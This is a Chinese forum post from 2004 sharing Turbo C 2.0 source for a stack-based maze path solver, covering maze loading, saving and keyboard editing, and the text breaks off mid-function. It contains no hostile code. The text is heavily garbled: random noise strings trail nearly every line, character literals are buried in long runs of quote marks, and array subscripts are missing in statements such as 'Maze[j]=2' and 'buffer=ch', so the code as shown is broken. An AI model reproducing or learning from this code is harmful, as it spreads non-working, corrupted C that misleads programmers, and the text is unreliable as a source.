QQ登录

只需要一步,快速开始

 注册地址  找回密码
楼主: 韩冰
打印 上一主题 下一主题

C语言技术文章

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-10-4 02:34 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
<DIV  align=left>2 ^% t9 C6 |" V$ a
< align=left>程序目的:7 V+ k! D' W3 [
输入一个任意大小的迷宫,用栈求出一条走出迷宫的路径,并9 m' Z2 }7 c! t1 A
显示在屏幕上。# Z' i! b# b4 E+ B; w* r
程序实现:
( Z2 E& o9 P# N- h: f* a) _' r可以实现载入迷宫和保存迷宫,附带文件中有4个测试迷宫路径的
. ~: E; b% I0 P6 g! b0 l. Z; E4 y; ?文件test1~4.dd。请将这些文件拷贝到TC当前目录下,或者在载
; A1 m& B& w7 x入时写明完全路径。由于屏幕大小的限制,当用户自己输入迷宫7 j. s% T; i" {+ _) k: A0 v
时一定要注意:迷宫大小是有限制的,不小于4*3,不大于30*20。
6 j/ q* A2 G' u2 m& {否则会出现错误信息。输入开始时全是墙,用上下左右键移动,
: z5 ~2 S1 Z( f" B6 H( q用Del键删除墙,形成通路,用Enter键添加墙。输入结束时可以
9 \3 F: q8 t- r3 c7 p将迷宫保存下来,以dd为扩展名。输入完毕时用F9键来得到结果,
% T3 ^3 f; K: y( e! ?8 V找到路径时,屏幕下方会出现Path found,否则出现Path not found。; a2 X+ y. c/ o
程序经Turbo C 2.0编译调试成功。运行时不用添加任何运行库。
5 u4 a' Z4 m# ~5 m0 s% F不可以在VC上编译。: E# j* P- [* ~" v( a" y+ C
下载DOS版和windows版的迷宫游戏全部代码7 @! H/ n+ I1 u. a8 G6 ?
用户名:migong % x+ r& C8 B( a! b7 k
----------------------------------------------------------------------------------3 x9 Q- @& K! j9 x% Y' e
/*) p6 v5 P: t8 x. H# e/ C
MazePath Demo BY Turbo C 2.0
0 O% [7 k) ~- O2 |/ [, lCopyright(c) RoverUnion. All right reserved.- L  u) |' b7 |$ `0 O% _
Filename: Maze.c; d& L" Q) @  _
Author Dongchengyu.
' y+ Z1 A! s% \1 _+ bVer 1.10
5 ~# S4 ^) M5 I3 b*/; J6 [9 f5 P  C5 [9 a+ Y5 d
#include &lt;stdio.h&gt;, f, s, }& ^( X0 A# o4 M
#include &lt;stdlib.h&gt;8 O" d* o0 A' n+ q/ T( F
#include &lt;malloc.h&gt;' V7 z! j% U: x: j+ ~4 \
#include &lt;conio.h&gt;+ w6 [% C# O2 K% r" E
#include &lt;dos.h&gt;1 S' f) u1 b$ Z# V! i. x
#define OK 1
( c( g9 P& a# q6 C3 x$ x#define ERROR 0# ~( s- K) R/ m  s! h% u9 C
#define TRUE 1
4 a* p" v# n, b4 l/ H% {. h, E#define FALSE 05 S- P* T' s" w: X! R5 M/ Y* _/ Y
#define F9 0x43
9 @4 I: Z8 R% f, }7 W#define Esc 0x1b! G5 N6 J5 i% i: j$ k; E
#define Del 0x53% g. B; Q3 m1 y/ {( q9 R! d5 @$ r
#define Home 0x47
& |) u2 Z) E3 I9 L4 z/ H# Q#define End 0x4f
# f! E; f2 {: P8 U! e6 `( ^. o#define Space 0x20  j; A6 l! {# Z: L9 F3 ~$ p  v
#define Up 0x48) Z3 W' R  y: \8 _
#define Down 0x50& `4 J# j  X$ M9 ~
#define Left 0x4b2 u( j  @: [9 g# U' ^
#define Right 0x4d2 c1 U: X* ?9 E+ \5 Y0 {
#define Enter 0x0d' |$ n! x  R4 M% c
#define F2 0x3c
  _/ O9 g' \8 @. P+ {. y+ A#define F3 0x3d
* b, @( K; o1 u" O- T, d#define STACK_INIT_SIZE 200: F$ X; Q  [' I2 K- m  m& g$ Q8 ^8 E* ^
#define STACKINCREMENT 10+ R; Y  o: ^$ P# T& ]
typedef int Boolean;9 W6 _* G; Z$ ~0 ~( I
typedef int Status;5 ~3 F( F( x8 W2 w, f
typedef struct {8 [& X+ _" S/ {) S: C
int x;
; n9 [1 ?* @" l8 W( @int y;$ \! I0 K5 I3 h' A( |
} PosType;  R6 {. M3 x& H7 ?- [
typedef struct {
* R, D, g' y: _. V7 Dint ord;
" t' S7 t+ C6 Z$ Y: l" PPosType seat;
  s8 {- B4 p% {, m+ [% W, }  h  Pint di;
- F. H1 N, w. g4 C) D9 m0 k5 G} SElemType;$ Z+ w& E# K$ l& c6 X8 r
typedef struct {2 c+ I: Q7 y9 v, `( v
int td;' [; Q# ~% }8 D% n' N! ]
int foot;: r/ E- |; z' O- L8 c. ~3 j
int mark;
1 ~, v& p5 O. z0 {" U% b- P; G' y' W} MazeType;# z' S2 l1 I& x: a' g
typedef struct {  z: A2 s1 i+ P) H( p, x: n) T
SElemType *base;
* Q7 k( _# q; O- C: CSElemType *top;) @2 B: i" I5 n% o/ |$ I
int stacksize;
% W. I5 v, z2 F$ A} Stack;
0 {. l. _( [* L* R, q; g5 O( K* uint Maze[20][30];
: t: ^6 B8 j! P+ X$ @9 f+ [MazeType maze[20][30];, w* @) A0 A8 P$ {& y" Z
PosType StartPlace;; y7 A2 F; g" c- e/ M* c8 V% g( u
PosType EndPlace;
. q6 b6 ?0 C5 r5 o1 Uint count;( c1 S* L6 A+ v
int m,n;
2 G9 k& @) o* w+ X0 Y% _$ aBoolean b_start=FALSE,b_end=FALSE;2 `# L: G& d+ y. B# {: S
void CreatMaze(void);
6 c/ d" l5 B' v" V2 M/ V. t8 aStatus SaveMaze(char *filename);3 P/ l9 C5 N: O
Status LoadMaze(char *filename);
# V( S$ B$ u( E; S6 Nvoid Error(char *message);
, P$ H1 N6 a* P7 ]# B) p3 J- {Status InitStack(Stack *s);" n" ~2 ?6 |3 l/ E" u. E
Status DestroyStack(Stack *s);' [; ?' r( g, Z7 }# W
Status ClearStack(Stack *s);$ G6 V1 }! g& H& _
Boolean StackEmpty(Stack *s);
- s+ q2 p: ~  z0 s. |int StackLength(Stack *s);
9 V8 q. o4 o* e: C5 JStatus Push(Stack *s,SElemType e);
. _% `5 ]' x) S. L3 m4 USElemType Pop(Stack *s,SElemType e);  c( ?/ Y6 r: ?; C9 l% R3 x$ B3 l1 Y$ [
Status GetTop(Stack *s,SElemType *e);% W; F! F3 {5 O$ x. d" Z  C% ^: m
Status StackTraverse(Stack *s,Status (* visit)(SElemType *se));
' w6 g2 r, T' G3 s8 K' PBoolean Pass(PosType curpos);0 x1 @3 {  E  T0 D4 n; p% {
void MarkPrint(PosType seat);
6 N6 s* D7 A2 i2 L* Y5 J: d$ ]void FootPrint(PosType curpos);, \. w: r  H3 \4 J# e
PosType NextPos(PosType seat,int di);5 v1 y1 V9 L  ?
Status MazePath(PosType start,PosType end);
. U$ x' N% c# S& X6 k" y# wvoid CreatMaze(void)
8 w4 {3 W- {( f7 U0 y& y/* Form the maze. */7 X4 P7 ^: g7 L7 X4 F
{% m/ @* n4 Y. ~) o
void Error(char *message);* h$ Z+ h$ o' l& _; d7 C
Status SaveMaze(char *filename);* l2 e% D8 m! T9 ]$ i1 k" Z
Status LoadMaze(char *filename);' F% T  B' }0 J/ y& ~/ B
int i,j;
4 a' ^' v4 _% K  `2 E  P8 y$ Hint x,y;
' j; [- I; U$ l0 u% q6 J- wchar c;# i( {/ b6 G5 Q; G0 c$ S
char savename[12],loadname[12];% a5 V8 d2 t' }6 n# z
Boolean flag=FALSE,load=FALSE;
" y. B* u, L. ?. Iclrscr();
( }6 ?6 n( O2 hprintf("Menu:\n\n");3 y  r9 y; F5 P0 j0 l, X/ K
printf("1.Load Mazefile*.dd)\n\n");
; T. q' V8 D% h' [( N/ {& r5 _& L" A1 s6 gprintf("2.Input Maze:\n\n");2 b& D/ u8 [  O3 T( F4 Z
printf("Input your choice: ");
& E4 j" i  w$ O+ w! j& edo8 v/ q# @: h% ?
{$ n7 }2 p4 H8 W) I6 i1 B
c=getch();
5 z, L* H& V8 w) F% r8 jswitch(c)
2 S4 @2 _' ]! s! N{3 q; k% S" l( z! m) ]5 Z, z
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''); break;- W1 L9 x; n0 a5 j) \+ @6 d
case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''); break;( B! l$ g7 q9 c
case Esc: sleep(1); exit(1);) }$ Z2 q! a5 c* q& B% H% Z
default: break;
1 U; c! Z% W5 q. e/ G7 O/ N! G}
" P- Z* p; z+ h2 X}
, j2 I, O6 o' Q: vwhile(c!=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''&amp;&amp;c!=''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''') ;. x& V6 I% b+ O' f+ x$ R# ^
if(c==''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''')6 ]2 S( ]# n1 h0 ^
{
& ]6 h2 E# p7 ]3 Hprintf("\n\nLoadName: ");8 [; R7 R! Y0 r
scanf("%s",loadname);& k8 ^5 n9 x$ h8 B* N
if(LoadMaze(loadname))5 {( j8 B0 ~; J0 \, a4 q& n
{9 f! ^/ G" s6 q1 X8 }+ V* Z; e
sleep(1); load=TRUE;$ y2 S1 S/ [, o1 n2 j- m) Q
}/ `1 F% P$ ]1 t9 ^: o& U* i
else { gotoxy(1,9); printf("Load fail! "); }% e( T$ \' r6 J2 ~; A2 U
}$ N- q7 z/ E/ P$ ~$ m
if(!load)
/ m% e" x/ L$ H% Y) l8 G$ i  c{
6 Z) K, k. f* Kprintf("\nInput the maze''''''''''''''''''''''''''''''''s size:\n");
' m9 p8 z! F7 Nprintf("\nInput Length :\n");1 f6 l0 [5 \  Q3 R
scanf("%d",&amp;m);
, Z' ?! W" \6 R7 X/ Z/ d5 c/ E$ jprintf("\nInput Width :\n");  j5 O% y; d- B+ t# [7 T
scanf("%d",&amp;n);
: s: D/ Z0 |/ R5 F  A, F5 a) ~if(m&lt;4||n&lt;4) Error("Input");
1 F, u9 i' v( sif(m&gt;30||n&gt;20) Error("Maze too large");8 z3 L" |1 ~4 [- X
for(i=0;i&lt;30;i++)2 c# T. L' E) l( y+ A
for(j=0;j&lt;20;j++)
# c0 o4 d( A$ G! q0 TMaze[j]=2;' G5 ?# N0 V! v* u; u1 E: f' j
StartPlace.x=0;0 l. b) }1 H) h; q& }- h  p3 B
StartPlace.y=0;
( ~; C/ U7 x% k9 B, f9 c8 E: rEndPlace.x=0;
' @, J: x% A$ I6 x  m7 v! @EndPlace.y=0;  c  O4 u  m. `/ g& v
clrscr();
0 J! L) E: c# W: G1 a# dprintf("\n");4 J* q; v: m; c" R' @1 `$ O
for(i=1;i&lt;=n;i++)7 _; N* O# b2 f. Z0 d
{. Q, T+ N% U3 o! ]( G
for(j=1;j&lt;=m;j++)( F" {3 ~; G4 Q$ _' o2 o
{/ q3 ~' q& o! ~$ R/ ?3 A
printf(" #");$ ^! P! B; L+ ?  j& p! L
Maze[i-1][j-1]=0;6 v9 T( f& L# E0 U- D$ F
}. ?  u$ F( C3 H
printf("\n");
4 Z4 q: y6 Y+ S: K2 }8 Y}
! l: C+ I/ N' j4 C! x* E* i% b}
6 b8 P- H+ [3 D: M: Cgotoxy(65,5);
2 K: J# b; W% o5 kprintf("''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''':Wall");
% {: \( Y% M5 G! C+ L  R: d& I! Jgotoxy(65,7);6 u* a$ K% @0 [
printf("Start:Home");
& U7 I0 t3 z, ?. y) ^! X' X! A/ N, Igotoxy(65,9);
3 x# S3 W! r+ v7 `# }: C' ~printf("End:End");5 j( w# J: }8 E* q  q$ B! n
gotoxy(65,11);
' |* [: \& h. Mprintf("Delete Wallel");
4 M$ G$ y: \- z% I: Pgotoxy(65,13);/ B- M4 B/ |+ V% H+ I
printf("Enter Wall:Enter");
) e% O6 j$ k5 {0 A" X, Bgotoxy(65,15);! Y$ C' Q" W. I+ C  f
printf("Save Maze:F2");9 ~; W. {1 S1 n+ T: R. C: x+ {
gotoxy(65,17);
6 f0 |; {5 [$ c) G$ X# zprintf("Complete:F9");3 s0 ^, u/ W! J5 l0 d% W' k
gotoxy(65,19);: i2 Q2 J! l- _. O' A5 D( x
printf("Exit:Esc");
$ ]3 T: |; Z# H. `! Ngotoxy(4,3);
# |9 V3 {3 v/ Yx=4;y=3;  a% g1 w7 n% j: @
do) K( f5 W& U& R( ^; t* {
{! Z; G* c# N5 j" f0 D
c=getch();$ @9 r" o& L5 K7 P4 `$ _1 V  J
switch(c)3 N" u9 D! P- h1 e; P/ b* ?
{7 C6 v( l  b$ _% C
case Up: if(y&gt;3) { y--; gotoxy(x,y); }
0 @' r% m* [9 y+ ?0 ~+ Nbreak;
- f% i* z: E* M6 P' ecase Down: if(y&lt;n) { y++; gotoxy(x,y); }
% Q1 d: O( _: ?4 p$ c9 ]break;3 [9 L  n9 F' v, v0 t
case Left: if(x&gt;4) { x-=2; gotoxy(x,y); }
& C  g5 ^3 h5 mbreak;
) b# Y" J( G+ l2 s0 tcase Right: if(x&lt;2*m-2) { x+=2; gotoxy(x,y); }
  `# Z- }# c: x6 fbreak;8 b* r* o- ?$ F! K' c
case Del: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) b_start=FALSE;( x& m" Q0 H5 U1 H$ }! I/ `
if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) b_end=FALSE;
9 B; z" ]' |* u) y8 mputch('''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=1; gotoxy(x,y);
* m3 I1 M* b1 |9 V1 }0 jbreak;1 w2 W5 ^$ X8 Z: ~; R/ P( S
case Enter: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) break;
* u1 m! J+ j+ V: p/ Jif(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) break;. t$ S7 ?, f( R8 [9 I8 i0 I; U
putch(''''''''''''''''''''''''''''''''#''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=0; gotoxy(x,y);9 m' _1 ~0 P7 [( i0 n
break;* `  v9 ]" @/ ]. B5 n' Y5 r
case Home: if(Maze[y-2][x/2-1]&amp;&amp;!b_start): @9 F' {8 [* S! F) ^/ @5 T  o# y9 c
{
5 h2 @' h5 a- j2 V4 RStartPlace.x=x/2-1;
, Y+ y9 |! `) ?! \# `% A! @4 KStartPlace.y=y-2;
9 k- `* p7 E+ ^9 |putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');: Y( W6 H$ G1 T7 e6 p5 ~' P; i
gotoxy(x,y);4 y. Y3 [  ]/ w' n' C
b_start=TRUE;9 M5 Q/ I3 @: ?4 ]
}0 o; r! P  c! a/ j" r/ ~
break;
8 [: s1 r. y. h$ m; ]2 Q! wcase End: if(Maze[y-2][x/2-1]&amp;&amp;!b_end)
0 ?* j; e8 o8 p% W{+ e" F* P' k% ?$ d1 w
EndPlace.x=x/2-1;3 I( ~3 c9 {$ K) I2 Q8 o& g, D
EndPlace.y=y-2;3 X' d& j! ~& N7 _
putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
* Q: H2 }6 W9 e4 Ygotoxy(x,y);
/ R9 y: S9 T$ C0 db_end=TRUE;
- q0 s) O5 [3 }7 v! @0 L}
- _/ y8 ~7 R+ j3 sbreak;$ F! a( B5 c( O, o7 U
case Esc: gotoxy(2,22); printf("exit"); sleep(1); exit(1);
) H! @  j3 W. l0 B% J% V% S& y% hcase F9: if(b_start&amp;&amp;b_end) flag=TRUE; break;
' o' B  y) _* X9 j( O, Acase F2: gotoxy(2,22);( k9 L  o4 n8 ?. a0 T, |
printf("Savename:");
% X& R, U7 K3 h8 X5 [; {4 k. Qscanf("%s",savename);$ Y. u) G$ g) d* Z
gotoxy(2,22);
' `/ a4 l5 f! m: h* Mif(SaveMaze(savename)) printf("Save OK! ");
/ }% B# M0 w4 Z5 O9 X; xelse printf("Save fail! ");2 y; d/ {* o% ^& H8 N# I+ r
sleep(1);
) I# c7 r3 @9 V4 `gotoxy(2,22);
( }% w" S2 S+ k: jprintf(" ");' p' t, l  ?7 N7 n! z. q
gotoxy(x,y);
1 `% D& Z; A7 t  u. Wbreak;+ i% r- t/ m( _3 q
default: break;
3 D- p# z" H2 `0 H: T}" s: d: _  S1 q+ j: S. O
}$ ^% F; Z- k# n" b
while(!flag);7 K& _0 @  Y1 m' ?' T
for(i=0;i&lt;30;i++)4 ^$ J9 @; L$ n0 e+ P! b' h/ A
for(j=0;j&lt;20;j++)
1 y& [2 y/ W1 G; r3 Y{/ u8 H5 r6 @' {+ E5 `. L  ~
maze[j].td=Maze[j];
. O5 P# W# ~% tmaze[j].mark=0;; R' A4 R8 }% ~$ g) S
maze[j].foot=0;
# x2 x# ?+ F9 z& q- a}+ z/ ?+ p3 _' d
}
: A* F; ?% P% IStatus LoadMaze(char *file). W0 a) Z& ?" D! f9 G  f% b
/* The maze has been loaded. */4 _' u( p& a3 h+ ~# M
{8 |0 d) i4 f' s. Y* N& H* H3 G
FILE *fp;& O, g1 F/ R. Y8 i
char *buffer;% U; N1 B+ c2 ?# p( ]+ ~+ v
char ch;$ x' t# P. ]+ h5 S- F; m+ h
int i=0,j,k;
. i; t3 b- g+ L$ I3 Z, N3 jBoolean len=FALSE,wid=FALSE;
2 j7 p% B5 W2 P5 C% ?4 uif((fp=fopen(file,"r"))==NULL)
* x0 E5 d2 h( x5 K2 Lreturn ERROR;7 t4 e7 [) C; M7 @5 H9 H3 G
buffer=(char *)malloc(600*sizeof(char));
  e& p  r8 v& A( F: t( U! z1 pch=fgetc(fp);0 o& F1 e# @1 B+ B9 O
while(ch!=EOF)# T# m. e+ E; M8 x( ]/ O
{
! B. P$ Z. L5 T$ S3 O& hbuffer=ch;: {4 T( B5 W3 v! o
i++;
2 n/ B% D  _* K3 T; ^" wch=fgetc(fp);  t. @3 H* k1 V9 f; O1 i4 g
}
5 b" t; R0 p, `6 ~* |3 W; X( F' ]m=30;n=20;  D5 D9 W( e% j" M8 |" i
for(i=0;i&lt;600;i++)  w5 ?& m2 D7 T. F! H
{
8 W6 K* F( z, @* s2 Z2 h* lj=i/30; k=i%30;- L! S/ u" @  Q0 O" U
if(buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!len){ m=i; len=TRUE; }, P2 n; j- G2 R& r) N  }2 ^7 @( T9 ]
if(k==0&amp;&amp;buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!wid){ n=j; wid=TRUE; }
- W  X$ i) k5 p* z* Dswitch(buffer)
: N. M; R) {/ d) w8 F{
2 d9 g9 F0 b! Y; ~, u. Ccase ''''''''''''''''''''''''''''''''0'''''''''''''''''''''''''''''''': Maze[j][k]=0; break;
/ x  f  o* B  }0 t7 z4 ]! ^case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': Maze[j][k]=1; break;; V4 J4 B$ g' ?9 n% W& q# R! c
case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': Maze[j][k]=2; break;
: |* f9 u: S  a/ X& @0 Acase ''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''': Maze[j][k]=1;  n7 K7 S2 ]& `- Z. @
StartPlace.x=k;
5 c& h  z6 b& I7 e. a# K1 OStartPlace.y=j;5 K) e) z3 E" `2 |' g6 w6 g
b_start=TRUE;
0 b. L" Q* _9 K2 f. Sbreak;, h) k) {) X4 s2 V
case ''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''': Maze[j][k]=1;
; |9 L& R, p9 V; o  q; l8 d' j# BEndPlace.x=k;
3 ~. p: \4 Z  }" y0 s* MEndPlace.y=j;1 b2 f8 h' P. C7 B' k7 [$ U
b_end=TRUE;
% I9 ^: R7 q: o6 k& {! @break;
( Y& }+ A& a. `default : break;6 B4 l; V1 o  T, o
}! c" V& N( h& G
}
' e, x6 ~- v/ y8 h9 u) Efclose(fp);
6 g! k3 G5 a. Z6 u8 X) Y+ P6 Dclrscr();
) u% i& s1 C7 r/ F0 j  l0 U1 E" efor(i=0;i&lt;30;i++)
5 v4 j* E- T2 H$ @* Q2 N! yfor(j=0;j&lt;20;j++)
4 h3 g& A1 x" j7 m0 i8 z; x{6 Q  G# H1 e# e- E& W" v
maze[j].td=Maze[j];! n; k# U9 F4 ]( X
maze[j].foot=0;6 l7 T# r' ]) z  t% O
maze[j].mark=0;
4 T1 k% m6 n$ N5 \  c$ B# xif(Maze[j]==0)# r+ Q5 b& n8 Y' }& Q  v. ]# u
{8 B6 s) x$ o. t- c3 v* p" f
gotoxy(2*i+2,j+2);+ i) Z0 ~  B- l2 g& L
putch(''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''');+ D6 D! S) F+ @1 }: o3 b
}
* i! i' m3 O% w% ]7 P& n: e}
9 B& p  l& t, o( M. _gotoxy(2*StartPlace.x+2,StartPlace.y+2);
7 z; B( T' j  M! Y* J. Oputch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
( I% v7 [: \$ }5 R' \, u2 Q; Y: h( rgotoxy(2*EndPlace.x+2,EndPlace.y+2);
. m. g7 B* S. |% A$ I" mputch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
" H; T; C% U* rreturn OK;# a! s# N0 u( v/ I. ~" w2 T
}
! d) X# A: C+ S# A: M; G; A$ `: oStatus SaveMaze(char *filename): G4 \6 E: ?8 t# x. |4 w. f% h" E1 f" N
/* The maze has been saved. */+ G# J; ?7 i7 j+ u; B
{3 D3 g! e# @' U$ v
FILE *fp;
- K- o5 C+ O" ~  k1 Q$ wchar *buffer;0 F, T7 }' E+ e" {" p
int i,j,k;
8 \/ ^* }+ }. W" ofp=fopen(filename,"wb");+ I- h! u1 R- _/ ~
buffer=(char *)malloc(600*sizeof(char));
7 C' ~, m  f0 a; T- B8 l8 Zfor(i=0;i&lt;600;i++)
6 \, M  h! ?6 A% |5 j2 l{
: b! r5 G. {  }) Hj=i/30; k=i%30;8 g# h5 Y  Q6 k2 |8 q5 W
switch(Maze[j][k])
7 B: j9 Z/ }# f" n{
- f% F; \; Y& y+ bcase 0: buffer=''''''''''''''''''''''''''''''''0''''''''''''''''''''''''''''''''; break;; T( y$ G; t4 ~5 K+ [6 p/ X) L
case 1: buffer=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''; break;$ s, x" b  t- x' `" g0 Z# W# v) t% \
case 2: buffer=''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''; break;
9 u) ^' B% n% i+ M* |default : Error("Write"); break;
9 k) T( ]& t$ B3 _* w( j! q}: g' T! Y0 F6 \& q* j
if(k==StartPlace.x&amp;&amp;j==StartPlace.y) buffer=''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''';
3 Q2 ]+ F; }2 ]. C8 eif(k==EndPlace.x&amp;&amp;j==EndPlace.y) buffer=''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''';: a. ^  |; P" W0 ~
}4 n- ~- U8 L8 O1 @- q% e5 l7 S
fwrite(buffer,600,1,fp);6 K8 C. u# h  m6 P, Y9 ]$ `; b' U: G3 Q9 W
free(buffer);6 s* U! C- k5 R, ^8 V. _
fclose(fp);
! H& Z' M, p3 x& @/ K$ B! T: V+ x  kreturn OK;1 s# q9 F% N* H2 Y
}
* S! t8 H4 G- }) h0 n5 Hvoid Error(char *message)
' t2 u" u# W0 n- r2 X/ o/ O! ~" \{
8 v+ Y) M9 g+ G# F3 A: Aclrscr();
$ N, M' K7 H2 Y% B9 _. _fprintf(stderr,"Error:%s\n",message);! P. D/ _, s$ C5 w( Y; Z
exit(1);- t9 w. G+ T! C- Q
} /* Error */
" u- k5 j1 w$ F# E" C4 \
5 o1 p2 }3 W" p6 s& cStatus InitStack(Stack *s)
  ?! u) ~) O3 r- O/* The stack s has been created and is initialized to be empty. */
. U* G9 Z( f! Y/ B3 d% p6 x{
8 A/ b$ \9 J; X8 Q' E) J( T$ Fs-&gt;base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
$ z+ s6 V: z, \9 o1 V. @; n" l* ?if(!s-&gt;base) Error("Overflow");; K- d+ y& m! \7 u, {" Y- v+ f
s-&gt;top=s-&gt;base;: b% R/ Z6 w* l7 z' F
s-&gt;stacksize=STACK_INIT_SIZE;
9 u. V; b2 @' f  s; ~return OK;
) D/ n( l* `; h/ G8 g' U} /* InitStack */
5 t7 C* o# [9 F) ?9 M& }Status DestroyStack(Stack *s)
4 e- }! @" O  T2 _4 H- @: V/* The stack s has been destroyed. */
5 M$ p3 w/ r8 F6 o{, r' C, v. d9 x+ d  ?* X
s-&gt;top=NULL;( G6 [3 R. S4 d
s-&gt;stacksize=0;
/ K! t' i& E0 D9 y' q# ~free(s-&gt;base);: ~5 r/ A4 i% V5 Z: X
s-&gt;base=NULL;, j- c4 D( P2 w8 _, c4 `$ ^% T! l
return OK;# p; `! F- r8 I
} /* DestroyStack */
$ l/ _- M# q6 {% A- eStatus ClearStack(Stack *s)
5 O5 |' }3 x7 s4 O9 k! w/* The stack has been clear to be maximum. */% T( z7 Q. J. X( `8 S
{
4 v; _; P2 s3 \5 ], ]  Q# N5 c' |s-&gt;top=s-&gt;base;
! [+ @, f3 V* }% As-&gt;stacksize=STACK_INIT_SIZE;" Y. K" J2 Z  H
return OK;2 |8 p# L! g# E: C+ Y6 D) l
} /* ClearStack */
. e2 B# K0 {, \( Z0 F# aBoolean StackEmpty(Stack *s)% O0 l8 \" r# s; Z
/* Check if the stack s is empty. */6 R% y) j# q2 ^$ u# M( ~
{( Y, D+ P( N: y% I/ M8 n
if(s-&gt;top==s-&gt;base) return TRUE;5 ^  w& W2 p% i
else return FALSE;
9 g3 L: ?$ R6 c9 N2 l! @. Z} /* StackEmpty */
9 o7 X0 K* L4 i# `int StackLength(Stack *s)
- `6 _0 y: f1 a8 {* X/* Gain the length of the stack s. */1 `) a* A9 ]( O! R  P. J/ \
{. @9 d% ?2 O  r
if(s-&gt;top&gt;s-&gt;base) return (int)(s-&gt;top-s-&gt;base);
5 u: h9 Y- O0 k3 f( E# U7 Yelse return 0;
" G0 I* m+ _+ M} /* StackLength */* G# h' a/ o! U2 g8 Q4 v9 B
Status Push(Stack *s,SElemType e)
" V# k% J; T8 Z, m) J2 k6 a# U/* The element e has been pushed into the stack s. */6 }, ?" ~& c! c3 i5 E$ Z
{
7 ~$ }7 h/ G; r+ Q. Uif(s-&gt;top-s-&gt;base&gt;=s-&gt;stacksize)$ R1 q5 l" Z5 t8 r! C3 ~. j" a$ V
{! V. c! y& K- G9 \" Y
s-&gt;base=(SElemType *)realloc(s-&gt;base,
4 _6 g, u/ f) r8 L9 d5 {, ^(s-&gt;stacksize+STACKINCREMENT)*sizeof(SElemType));. P7 j7 [* q# @8 m: o# z9 e
if(!s-&gt;base) Error("Overflow");5 g: r9 \3 B: T# Q& o- R) W
s-&gt;top=s-&gt;base+s-&gt;stacksize;
; Q$ }* W9 F5 U# Z" F" H) n, Ts-&gt;stacksize+=STACKINCREMENT;
/ W( S* r7 a0 L% N  v$ l8 X+ w}2 q1 ^" W$ A+ t: ]7 ?0 [9 Y9 x4 V
*s-&gt;top++=e;' k* q% b( l: z# e, n
return OK;
( I. w' L# x( |0 P" g" r8 a) r} /* Push */, N' Q0 I6 p5 A
SElemType Pop(Stack *s,SElemType e). R5 _" p0 ]$ ~
/* The element e has been removed from the stack s. */
  C  a( I( Q( n' I4 P, |" Q2 k: ?: c( g{3 @$ V1 j: W1 ^3 l) R& N8 r( F
if(s-&gt;top==s-&gt;base) Error("op");; H( \: K. u2 O
e=*--s-&gt;top;
' r) p5 _  I4 h  P) y2 y- F2 ?return e;
7 G0 y0 k' P* ~' i6 c+ B2 W} /* Pop */
% ]5 c0 c- ]2 b- y1 T) U4 oStatus GetTop(Stack *s,SElemType *e)/ I& z/ w' h9 f
/* The element e has got to the top of the stack s.*/
. B* D9 p, M* w; t; z{0 _0 y0 u! u6 x9 _6 `( k& G& s
if(s-&gt;top==s-&gt;base) Error("GetTop");" K$ c; }. y3 a9 a
*e=*(s-&gt;top-1);! u$ p& h/ T# e( R$ F6 J
return OK;
1 r) ?, I0 ^6 |! G) I3 |} /* GetTop */0 T) S8 J1 h  x; e) [
/* Traverse the stack s using ''''''''''''''''''''''''''''''''visiting'''''''''''''''''''''''''''''''' function. */  |# f6 S8 G$ P& {; [/ I
/* Status StackTraverse(Stack *s,Status (* visit)(SElemType *se)). g0 b* {+ q- ?/ S& a
{
+ k, A# E# C2 R2 aSElemType p;: S6 \$ M5 O1 r% z2 |/ ]) ^
int result;  o  K' x/ x# {! q6 ^1 P
if(s-&gt;top==s-&gt;base) return ERROR;
4 N8 F' B1 h- N' x: V# }0 Ap=s-&gt;base;/ ]$ l+ t9 M; P4 E
while(!(p==s-&gt;top))
0 P, e! w: @2 n- t3 F$ J{
# b1 ]) b7 o) P) m3 W  e4 S& Rresult=(*visit)(p);
. c$ B; C2 e) ^7 X: e4 Tp++;
+ n5 P( z& Y9 y1 C8 J& \}
2 i9 D0 ]) G0 q/ ?3 [+ P9 zreturn OK;
& C- m/ {4 g( y5 l} */
0 o  d% Q) n* a$ @# L* |Boolean Pass(PosType curpos)
$ e# `0 ]! Q. p: L/* Check if the current position can be passed. */6 U  k2 ]6 Y' k1 n6 e. T9 g
{" f3 e) S0 b4 C: J: _" l. P
if(maze[curpos.x][curpos.y].td==1&amp;&amp;9 V& r% w' F$ R6 Y- W& s  q/ n
